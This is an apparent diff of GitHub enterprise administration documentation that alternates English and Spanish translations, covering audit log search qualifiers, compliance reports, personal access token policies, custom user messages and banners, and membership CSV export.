`business_id` | Id. de la empresa afectada por la acción (si procede)
|
||||
`actor_id` | ID of the user account that initiated the action
|
||||
`actor` | Name of the user account that initiated the action
|
||||
`oauth_app_id` | ID of the OAuth application associated with the action
|
||||
`action` | Name of the audited action
|
||||
`user_id` | ID of the user affected by the action
|
||||
`user` | Name of the user affected by the action
|
||||
`repo_id` | ID of the repository affected by the action (if applicable)
|
||||
`repo` | Name of the repository affected by the action (if applicable)
|
||||
`actor_ip` | IP address from which the action was initiated
|
||||
`created` | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %}
|
||||
`from` | View from which the action was initiated
|
||||
`note` | Miscellaneous event-specific information (in either plain text or JSON format)
|
||||
`org` | Name of the organization affected by the action (if applicable)
|
||||
`org_id` | ID of the organization affected by the action (if applicable)
|
||||
`business` | Name of the enterprise affected by the action (if applicable)
|
||||
`business_id` | ID of the enterprise affected by the action (if applicable)
|
||||
{%- ifversion token-audit-log %}
|
||||
`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)")
|
||||
{%- endif %}
|
||||
|
||||
Para ver las acciones agrupadas por categoría, también puede usar el calificador de acción como un par `key:value`. Para más información, vea "[Búsqueda en función de la acción realizada](#search-based-on-the-action-performed)".
|
||||
To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)."
|
||||
|
||||
Para obtener una lista completa de las acciones del registro de auditoría de la empresa, vea "[Acciones del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)".
|
||||
For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
|
||||
|
||||
## Buscar el registro de auditoría
|
||||
## Searching the audit log
|
||||
|
||||
{% data reusables.audit_log.audit-log-search-by-operation %}
|
||||
|
||||
@@ -98,40 +96,46 @@ Para obtener una lista completa de las acciones del registro de auditoría de la
|
||||
|
||||
{% data reusables.audit_log.audit-log-search-by-user %}
|
||||
|
||||
### Búsqueda basada en la acción realizada
|
||||
### Search based on the action performed
|
||||
|
||||
Para buscar eventos específicos, use el calificador `action` en la consulta. Por ejemplo:
|
||||
To search for specific events, use the `action` qualifier in your query. For example:
|
||||
|
||||
* `action:team` busca todos los eventos agrupados dentro de la categoría de equipo.
|
||||
* `-action:hook` excluye todos los eventos de la categoría de webhook.
|
||||
* `action:team` finds all events grouped within the team category.
|
||||
* `-action:hook` excludes all events in the webhook category.
|
||||
|
||||
Cada categoría tiene un conjunto de acciones asociadas que puedes filtrar. Por ejemplo:
|
||||
Each category has a set of associated actions that you can filter on. For example:
|
||||
|
||||
* `action:team.create` busca todos los eventos en los que se ha creado un equipo.
|
||||
* `-action:hook.events_changed` excluye todos los eventos en los que se han modificado los eventos de un webhook.
|
||||
* `action:team.create` finds all events where a team was created.
|
||||
* `-action:hook.events_changed` excludes all events where the events on a webhook have been altered.
|
||||
|
||||
Las acciones que se pueden encontrar en el registro de auditoría de la empresa se agrupan en las categorías siguientes:
|
||||
Actions that can be found in your enterprise audit log are grouped within the following categories:
|
||||
|
||||
{% data reusables.audit_log.audit-log-action-categories %}
|
||||
### Búsqueda basada en el momento de la acción
|
||||
### Search based on time of action
|
||||
|
||||
Use el calificador `created` para filtrar los eventos del registro de auditoría en función de cuándo se hayan producido.
|
||||
Use the `created` qualifier to filter events in the audit log based on when they occurred.
|
||||
|
||||
{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
|
||||
|
||||
{% data reusables.search.date_gt_lt %}
|
||||
|
||||
Por ejemplo:
|
||||
For example:
|
||||
|
||||
* `created:2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014.
|
||||
* `created:>=2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014 o después.
|
||||
* `created:<=2014-07-08` busca todos los eventos que se han producido el 8 de julio de 2014 o antes.
|
||||
* `created:2014-07-01..2014-07-31` busca todos los eventos que se han producido durante el mes de julio de 2014.
|
||||
* `created:2014-07-08` finds all events that occurred on July 8th, 2014.
|
||||
* `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014.
|
||||
* `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014.
|
||||
* `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
|
||||
|
||||
### Búsqueda basada en la ubicación
|
||||
### Search based on location
|
||||
|
||||
Con el calificador `country`, puede filtrar los eventos del registro de auditoría en función del país de origen. Puede usar un código corto de dos letras del país o el nombre completo. Los países con espacios en el nombre se tendrán que incluir entre comillas. Por ejemplo:
|
||||
Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example:
|
||||
|
||||
* `country:de` busca todos los eventos que se han producido en Alemania.
|
||||
* `country:Mexico` busca todos los eventos que se han producido en México.
|
||||
* `country:"United States"` todos buscan eventos que se han producido en Estados Unidos.
|
||||
* `country:de` finds all events that occurred in Germany.
|
||||
* `country:Mexico` finds all events that occurred in Mexico.
|
||||
* `country:"United States"` all finds events that occurred in the United States.
|
||||
|
||||
{% ifversion token-audit-log %}
|
||||
### Search based on the token that performed the action
|
||||
|
||||
Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
|
||||
{% endif %}
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Accessing compliance reports for your enterprise
|
||||
intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your enterprise.'
|
||||
title: Acceder a los reportes de cumplimiento de tu empresa
|
||||
intro: 'Puedes acceder a los informes de cumplimiento de {% data variables.product.company_short %}, como los informes del SOC y la autoevaluación de Cloud Security Alliance CAIQ (CSA CAIQ), para tu empresa.'
|
||||
versions:
|
||||
ghec: '*'
|
||||
type: how_to
|
||||
@@ -10,23 +10,27 @@ topics:
|
||||
- Fundamentals
|
||||
permissions: Enterprise owners can access compliance reports for the enterprise.
|
||||
shortTitle: Access compliance reports
|
||||
ms.openlocfilehash: d9391e9bb029620ee9c034a5ad3092588e914c36
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148009677'
|
||||
---
|
||||
## Acerca de los reportes de cumplimiento de {% data variables.product.company_short %}
|
||||
|
||||
## About {% data variables.product.company_short %}'s compliance reports
|
||||
|
||||
You can access {% data variables.product.company_short %}'s compliance reports in your enterprise settings.
|
||||
Puede acceder a los informes de cumplimiento de {% data variables.product.company_short %} en la configuración de la empresa.
|
||||
|
||||
{% data reusables.security.compliance-report-list %}
|
||||
|
||||
## Accessing compliance reports for your enterprise
|
||||
## Acceder a los reportes de cumplimiento de tu empresa
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
|
||||
1. Under "Resources", to the right of the report you want to access, click {% octicon "download" aria-label="The Download icon" %} **Download** or {% octicon "link-external" aria-label="The external link icon" %} **View**.
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
|
||||
1. En "Recursos", a la derecha del informe al que quiera acceder, haga clic en {% octicon "download" aria-label="The Download icon" %} **Descargar** o {% octicon "link-external" aria-label="The external link icon" %} **Ver**.
|
||||
|
||||
{% data reusables.security.compliance-report-screenshot %}
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[Accessing compliance reports for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)"{% ifversion enterprise-member-csv %}
|
||||
- "[Exporting membership information for your enterprise](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)"{% endif %}
|
||||
- "[Acceso a los informes de cumplimiento de la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization)"{% ifversion enterprise-member-csv %}
|
||||
- "[Exportación de la información de pertenencia de la empresa](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)"{% endif %}
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
---
|
||||
title: Aplicación de directivas de tokens de acceso personal en la empresa
|
||||
intro: 'Los propietarios de empresas pueden controlar si permitir el uso de un {% data variables.product.pat_v2 %} y de {% data variables.product.pat_v1_plural %}, así como requerir aprobación para un {% data variables.product.pat_v2 %}.'
|
||||
versions:
|
||||
feature: pat-v2-enterprise
|
||||
shortTitle: '{% data variables.product.pat_generic_caps %} policies'
|
||||
ms.openlocfilehash: 6252f7ac67fe77cbe20ab85ff2cbd6f04ac17905
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107009'
|
||||
---
|
||||
{% note %}
|
||||
|
||||
**Nota**: {% data reusables.user-settings.pat-v2-beta %}
|
||||
|
||||
Durante la versión beta, las empresas deben participar en el uso de {% data variables.product.pat_v2 %}. Si tu empresa aún no participa, se te pedirá que participes y establezcas directivas siguiendo los pasos que se indican a continuación.
|
||||
|
||||
Incluso si una empresa no participa en el uso de {% data variables.product.pat_v2 %}, las organizaciones propiedad de esa empresa sí pueden seguir participando. Todos los usuarios, incluidos los {% data variables.product.prodname_emus %}, pueden crear un {% data variables.product.pat_v2 %} que acceda a los recursos propiedad del usuario (como los repositorios creados en su cuenta), aun cuando la empresa no participe en el uso de {% data variables.product.pat_v2 %}.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Restricción del acceso mediante un {% data variables.product.pat_v2 %}
|
||||
|
||||
Los propietarios de empresas pueden impedir el acceso a los recursos privados e internos de su propiedad mediante un {% data variables.product.pat_v2 %}. Con ese {% data variables.product.pat_v2_caps %} seguirá siendo posible acceder a los recursos públicos dentro de las organizaciones. Esta configuración solo controla el acceso mediante un {% data variables.product.pat_v2 %}s, no mediante {% data variables.product.pat_v1_plural %}. Para obtener más información sobre cómo restringir el acceso mediante {% data variables.product.pat_v1_plural %}, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
|
||||
1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**.
|
||||
1. En **Restringir el acceso con un {% data variables.product.pat_v2 %}** , selecciona la opción acorde a tus necesidades:
|
||||
- **Permitir que las organizaciones configuren los requisitos de acceso**: cada organización propiedad de la empresa puede decidir si restringir el acceso mediante un {% data variables.product.pat_v2 %}.
|
||||
- **Restringir el acceso mediante un {% data variables.product.pat_v2 %}** : no se puede acceder a las organizaciones pertenecientes a la empresa mediante un {% data variables.product.pat_v2_caps %}. Las claves SSH creadas con un {% data variables.product.pat_v2 %} seguirán funcionando. Las organizaciones no pueden invalidar esta configuración.
|
||||
- **Permitir el acceso mediante un {% data variables.product.pat_v2 %}** : se puede acceder a las organizaciones pertenecientes a la empresa mediante un {% data variables.product.pat_v2_caps %}. Las organizaciones no pueden invalidar esta configuración.
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
|
||||
## Aplicación de una directiva de aprobación de {% data variables.product.pat_v2 %}
|
||||
|
||||
Los propietarios de empresas pueden requerir a todas las organizaciones de su propiedad que aprueben cada {% data variables.product.pat_v2 %} que tenga acceso a la organización. Con ese {% data variables.product.pat_v2_caps %} se seguirán pudiendo leer recursos públicos dentro de la organización sin necesidad de aprobación. Lo mismo ocurre a la inversa: los propietarios de empresas pueden permitir el acceso a las organizaciones de la empresa mediante un {% data variables.product.pat_v2 %} sin aprobación previa. Los propietarios de empresas también pueden permitir que cada organización de la empresa elija su propia configuración de aprobación.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: Solo están sujetos a aprobación los {% data variables.product.pat_v2 %}, no los {% data variables.product.pat_v1_plural %}. A menos que la organización o la empresa tenga acceso restringido mediante {% data variables.product.pat_v1_plural %}, cualquier {% data variables.product.pat_v1 %} puede acceder a los recursos de la organización sin aprobación previa. Para obtener más información sobre cómo restringir {% data variables.product.pat_v1_plural %}, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página y "[Establecimiento de una directiva de {% data variables.product.pat_generic %} para la organización](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)".
|
||||
|
||||
{% endnote %}
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
|
||||
1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**.
|
||||
1. En **Requerir aprobación de {% data variables.product.pat_v2 %}** , selecciona la opción acorde a tus necesidades:
|
||||
- **Permitir que las organizaciones configuren los requisitos de aprobación**: cada organización propiedad de la empresa puede decidir si requerir la aprobación para que un {% data variables.product.pat_v2 %} pueda acceder a la organización.
|
||||
- **Requerir que las organizaciones usen el flujo de aprobación**: todas las organizaciones propiedad de la empresa deben aprobar cada {% data variables.product.pat_v2 %} que puede tener acceso a la organización. Un {% data variables.product.pat_v2_caps %} creado por los propietarios de la organización no necesitará aprobación. Las organizaciones no pueden invalidar esta configuración.
|
||||
- **Deshabilitar el flujo de aprobación en todas las organizaciones**: un {% data variables.product.pat_v2_caps %} creado por un miembro de la organización puede acceder a las organizaciones pertenecientes a la empresa sin aprobación previa. Las organizaciones no pueden invalidar esta configuración.
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
|
||||
## Restricción del acceso mediante {% data variables.product.pat_v1_plural %}
|
||||
|
||||
Los propietarios de empresas pueden impedir que los {% data variables.product.pat_v1_plural %} accedan a la empresa y a las organizaciones pertenecientes a ella. Con esos {% data variables.product.pat_v1_caps_plural %} se seguirá pudiendo acceder a los recursos públicos dentro de la organización. Esta configuración solo controla el acceso mediante {% data variables.product.pat_v1_plural %}, no con un {% data variables.product.pat_v2 %}. Para obtener más información sobre cómo restringir el acceso mediante un {% data variables.product.pat_v2 %}, consulta "[Restricción del acceso mediante un {% data variables.product.pat_v2 %}](#restricting-access-by-fine-grained-personal-access-tokens)" en esta página.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
|
||||
1. En {% octicon "law" aria-label="The law icon" %} **Directivas**, haz clic en **Organizaciones**.
|
||||
1. En **Restringir el acceso a las organizaciones mediante {% data variables.product.pat_v1_plural %}** , selecciona la opción acorde a tus necesidades:
|
||||
- **Permitir que las organizaciones configuren los requisitos de acceso de {% data variables.product.pat_v1_plural %}** : cada organización propiedad de la empresa puede decidir si restringir el acceso mediante {% data variables.product.pat_v1_plural %}.
|
||||
- **Restringir el acceso mediante {% data variables.product.pat_v1_plural %}** : no se puede acceder a la empresa o a las organizaciones propiedad de la empresa mediante {% data variables.product.pat_v1_caps_plural %}. Las claves SSH creadas con {% data variables.product.pat_v1_plural %} seguirán funcionando. Las organizaciones no pueden invalidar esta configuración.
|
||||
- **Permitir el acceso mediante {% data variables.product.pat_v1_plural %}** : se puede acceder a la empresa y a las organizaciones propiedad de la empresa mediante {% data variables.product.pat_v1_caps_plural %}. Las organizaciones no pueden invalidar esta configuración.
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
@@ -1,12 +1,12 @@
|
||||
---
|
||||
title: Customizing user messages for your enterprise
|
||||
title: Personalizar los mensajes de usuario para tu empresa
|
||||
shortTitle: Customizing user messages
|
||||
redirect_from:
|
||||
- /enterprise/admin/user-management/creating-a-custom-sign-in-message
|
||||
- /enterprise/admin/user-management/customizing-user-messages-on-your-instance
|
||||
- /admin/user-management/customizing-user-messages-on-your-instance
|
||||
- /admin/user-management/customizing-user-messages-for-your-enterprise
|
||||
intro: 'You can create custom messages that users will see on {% data variables.location.product_location %}.'
|
||||
intro: 'Puedes crear mensajes personalizados que los usuarios verán en {% data variables.location.product_location %}.'
|
||||
versions:
|
||||
ghes: '*'
|
||||
ghae: '*'
|
||||
@@ -14,118 +14,98 @@ type: how_to
|
||||
topics:
|
||||
- Enterprise
|
||||
- Maintenance
|
||||
ms.openlocfilehash: b767a651f19b6200abfc67696d98147ebf65bd9a
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106439'
|
||||
---
|
||||
## About user messages
|
||||
## Acerca de los mensajes de usuario
|
||||
|
||||
There are several types of user messages.
|
||||
- Messages that appear on the {% ifversion ghes %}sign in or {% endif %}sign out page{% ifversion ghes or ghae %}
|
||||
- Mandatory messages, which appear once in a pop-up window that must be dismissed{% endif %}{% ifversion ghes or ghae %}
|
||||
- Announcement banners, which appear at the top of every page{% endif %}
|
||||
Hay varios tipos de mensajes de usuario.
|
||||
- Mensajes que aparecen en la página de {% ifversion ghes %}inicio de sesión o {% endif %}cierre de sesión{% ifversion ghes or ghae %}
|
||||
- Mensajes obligatorios, los cuales aparecen en una ventana emergente que debe cerrarse{% endif %}{% ifversion ghes or ghae %}
|
||||
- Letreros de anuncio, los cuales aparecen en la parte superior de cada página{% endif %}
|
||||
|
||||
{% ifversion ghes %}
|
||||
{% note %}
|
||||
{% ifversion ghes %} {% note %}
|
||||
|
||||
**Note:** If you are using SAML for authentication, the sign in page is presented by your identity provider and is not customizable via {% data variables.product.prodname_ghe_server %}.
|
||||
**Nota:** Si usa SAML para la autenticación, el proveedor de identidades presenta la página de inicio de sesión y no se puede personalizar mediante {% data variables.product.prodname_ghe_server %}.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
You can use Markdown to format your message. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)."
|
||||
Puedes usar Markdown para dar formato al mensaje. Para más información, vea "[Acerca de la escritura y el formato en {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/)".
|
||||
|
||||
## Creating a custom sign in message
|
||||
## Crear un mensaje de inicio de sesión personalizado
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.messages-tab %}
|
||||
5. {% ifversion ghes %}To the right of{% else %}Under{% endif %} "Sign in page", click **Add message** or **Edit message**.
|
||||
|
||||
6. Under **Sign in message**, type the message you'd like users to see.
|
||||
{% ifversion ghes %}
|
||||
{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
|
||||
{% data reusables.enterprise_site_admin_settings.click-preview %}
|
||||
|
||||
8. Review the rendered message.
|
||||
|
||||
{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
|
||||
{% endif %}
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
|
||||
5. {% ifversion ghes %}A la derecha de{% else %}En{% endif %} "Página de inicio de sesión", haga clic en **Agregar mensaje** o **Editar mensaje**.
|
||||
|
||||
6. En **Mensaje de inicio de sesión**, escriba el mensaje que quiere que vean los usuarios.
|
||||
{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} 
|
||||
8. Revisar el mensaje presentado.
|
||||
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} {% endif %}
|
||||
|
||||
## Creating a custom sign out message
|
||||
## Crear un mensaje de cierre de sesión personalizado
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.messages-tab %}
|
||||
5. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Sign out page", click **Add message** or **Edit message**.
|
||||
|
||||
6. Under **Sign out message**, type the message you'd like users to see.
|
||||
{% ifversion ghes or ghae %}
|
||||
{% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %}
|
||||
{% data reusables.enterprise_site_admin_settings.click-preview %}
|
||||
|
||||
8. Review the rendered message.
|
||||
|
||||
{% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
|
||||
5. {% ifversion ghes or ghae %}A la derecha de{% else %}En{% endif %} "Página de cierre de sesión", haga clic en **Agregar mensaje** o **Editar mensaje**.
|
||||
|
||||
6. En **Mensaje de cierre de sesión**, escriba el mensaje que quiere que vean los usuarios.
|
||||
{% ifversion ghes or ghae %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} 
|
||||
8. Revisar el mensaje presentado.
|
||||
 {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
|
||||
|
||||
{% ifversion ghes or ghae %}
|
||||
## Creating a mandatory message
|
||||
## Crear un mensaje obligatorio
|
||||
|
||||
You can create a mandatory message that {% data variables.product.product_name %} will show to all users the first time they sign in after you save the message. The message appears in a pop-up window that the user must dismiss before using {% data variables.location.product_location %}.
|
||||
Puedes crear un mensaje obligatorio que {% data variables.product.product_name %} mostrará a todos los usuarios la primera vez que inicien sesión después de que guardaste el mensaje. El mensaje aparece en una ventana emergente que el usuario debe descartar para poder usar {% data variables.location.product_location %}.
|
||||
|
||||
Mandatory messages have a variety of uses.
|
||||
Los mensajes obligatorios tienen varios usos.
|
||||
|
||||
- Providing onboarding information for new employees
|
||||
- Telling users how to get help with {% data variables.location.product_location %}
|
||||
- Ensuring that all users read your terms of service for using {% data variables.location.product_location %}
|
||||
- Proporcinar información de integración para los empleados nuevos
|
||||
- Indicar a los usuarios cómo obtener ayuda con {% data variables.location.product_location %}
|
||||
- Garantizar que todos los usuarios leen tus condiciones de servicio para usar {% data variables.location.product_location %}
|
||||
|
||||
If you include Markdown checkboxes in the message, all checkboxes must be selected before the user can dismiss the message. For example, if you include your terms of service in the mandatory message, you can require that each user selects a checkbox to confirm the user has read the terms.
|
||||
Si incluyes cajas de verificación con lenguaje de marcado en el mensaje, todas ellas deberán seleccionarse antes de que el usuario pueda descartar el mensaje. Por ejemplo, si incluyes tus condiciones de servicio en el mensaje obligatorio, puede que necesites que cada usuario seleccione una casilla para confirmar que leyó dichas condiciones.
|
||||
|
||||
Each time a user sees a mandatory message, an audit log event is created. The event includes the version of the message that the user saw. For more information see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
|
||||
Cada vez que un usuario vea un mensaje obligatorio, se crea un evento de bitácora de auditoría. El evento incluye la versión del mensaje que vio el usuario. Para más información, vea "[Eventos del registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)".
|
||||
|
||||
{% ifversion display-mandatory-message-again %} {% else %}
|
||||
{% note %}
|
||||
{% ifversion display-mandatory-message-again %} {% else %} {% note %}
|
||||
|
||||
**Note:** If you change the mandatory message for {% data variables.location.product_location %}, users who have already acknowledged the message will not see the new message.
|
||||
**Nota:** Si cambias el mensaje obligatorio de {% data variables.location.product_location %}, los usuarios que ya lo hayan confirmado no verán el mensaje nuevo.
|
||||
|
||||
{% endnote %}
|
||||
{% endif %}
|
||||
{% endnote %} {% endif %}
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.messages-tab %}
|
||||
1. To the right of "Mandatory message", click **Add message**.
|
||||
|
||||
1. Under "Mandatory message", in the text box, type your message.
|
||||
|
||||
{%- ifversion display-mandatory-message-again %}
|
||||
1. Optionally, select **Show updated message to all users even if they dismissed the previous one**.
|
||||
|
||||
{% endif %}
|
||||
{% data reusables.enterprise_site_admin_settings.message-preview-save %}
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
|
||||
1. A la derecha de "Mensaje obligatorio", haga clic en **Agregar mensaje**.
|
||||
|
||||
1. Debajo de "Mensaje obligatorio", en la casilla de texto, teclea tu mensaje.
|
||||
 {%- ifversion display-mandatory-message-again %}
|
||||
1. Opcionalmente, selecciona **Mostrar mensaje actualizado a todos los usuarios, incluso si descartan el anterior**.
|
||||
 {% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghes or ghae %}
|
||||
## Creating a global announcement banner
|
||||
## Crear un letrero de anuncio global
|
||||
|
||||
You can set a global announcement banner to be displayed to all users at the top of every page.
|
||||
Puedes configurar un letrero de anuncio global para que se muestre a todos los usuarios en la parte superior de cada página.
|
||||
|
||||
{% ifversion ghae or ghes %}
|
||||
You can also set an announcement banner{% ifversion ghes %} in the administrative shell using a command line utility or{% endif %} using the API. For more information, see {% ifversion ghes %}"[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" and {% endif %}"[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
|
||||
{% ifversion ghae or ghes %} También puede configurar un banner de anuncio{% ifversion ghes %} en el shell administrativo mediante una utilidad de línea de comandos o{% endif %} mediante la API. Para más información, vea {% ifversion ghes %}"[Utilidades de línea de comandos](/enterprise/admin/configuration/command-line-utilities#ghe-announce)" y {% endif %}"[Administración de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)".
|
||||
{% else %}
|
||||
|
||||
You can also set an announcement banner in the administrative shell using a command line utility. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-announce)."
|
||||
También puedes configurar un letrero de anuncio en el shell administrativo utilizando una utilidad de línea de comandos. Para más información, vea "[Utilidades de línea de comandos](/enterprise/admin/configuration/command-line-utilities#ghe-announce)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.messages-tab %}
|
||||
1. {% ifversion ghes or ghae %}To the right of{% else %}Under{% endif %} "Announcement", click **Add announcement**.
|
||||
|
||||
1. Under "Announcement", in the text field, type the announcement you want displayed in a banner.
|
||||
|
||||
1. Optionally, under "Expires on", select the calendar drop-down menu and click an expiration date.
|
||||
{% ifversion ghe-announce-dismiss %}
|
||||
1. Optionally, to allow each user to dismiss the announcement, select **User dismissible**.
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
|
||||
1. {% ifversion ghes or ghae %}A la derecha de{% else %}En{% endif %} "Anuncio", haga clic en **Agregar anuncio**.
|
||||
|
||||
1. Debajo de "Anuncio", en el campo de texto, teclea el anuncio que quieras mostrar en un letrero.
|
||||
|
||||
1. Opcionalmente, debajo de "Vence en", selecciona el menú desplegable de calendario y da clic en la fecha de vencimiento.
|
||||
{% ifversion ghe-announce-dismiss %}
|
||||
1. Opcionalmente, para permitir que cada usuario descarte el anuncio, selecciona **Descartable por el usuario**.
|
||||
|
||||
{% endif %}
|
||||
{% data reusables.enterprise_site_admin_settings.message-preview-save %}
|
||||
{% endif %}
|
||||
{% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %} {% endif %}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
title: Exportación de información de pertenencia de tu empresa
|
||||
intro: Puedes exportar información sobre todos los miembros de tu empresa.
|
||||
versions:
|
||||
feature: enterprise-member-csv
|
||||
topics:
|
||||
- Enterprise
|
||||
shortTitle: Export membership information
|
||||
permissions: Enterprise owners can export membership information for an enterprise.
|
||||
ms.openlocfilehash: ba7519aae1b38cd629a46baeacd5edc9d138efdc
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106425'
|
||||
---
|
||||
{% note %}
|
||||
|
||||
**Nota:** La exportación de información de pertenencia de una empresa está actualmente en versión beta y, por tanto, sujeta a cambios.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
Para realizar una auditoría de personas que tienen acceso a los recursos de la empresa, puedes descargar un informe CSV de información de pertenencia de tu empresa.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
|
||||
1. A la derecha de "Miembros", haz clic en **{% octicon "download" aria-label="The download icon" %} Informe CSV**.
|
||||
|
||||
- Si tu empresa tiene menos de 1000 miembros, el informe se descargará inmediatamente.
|
||||
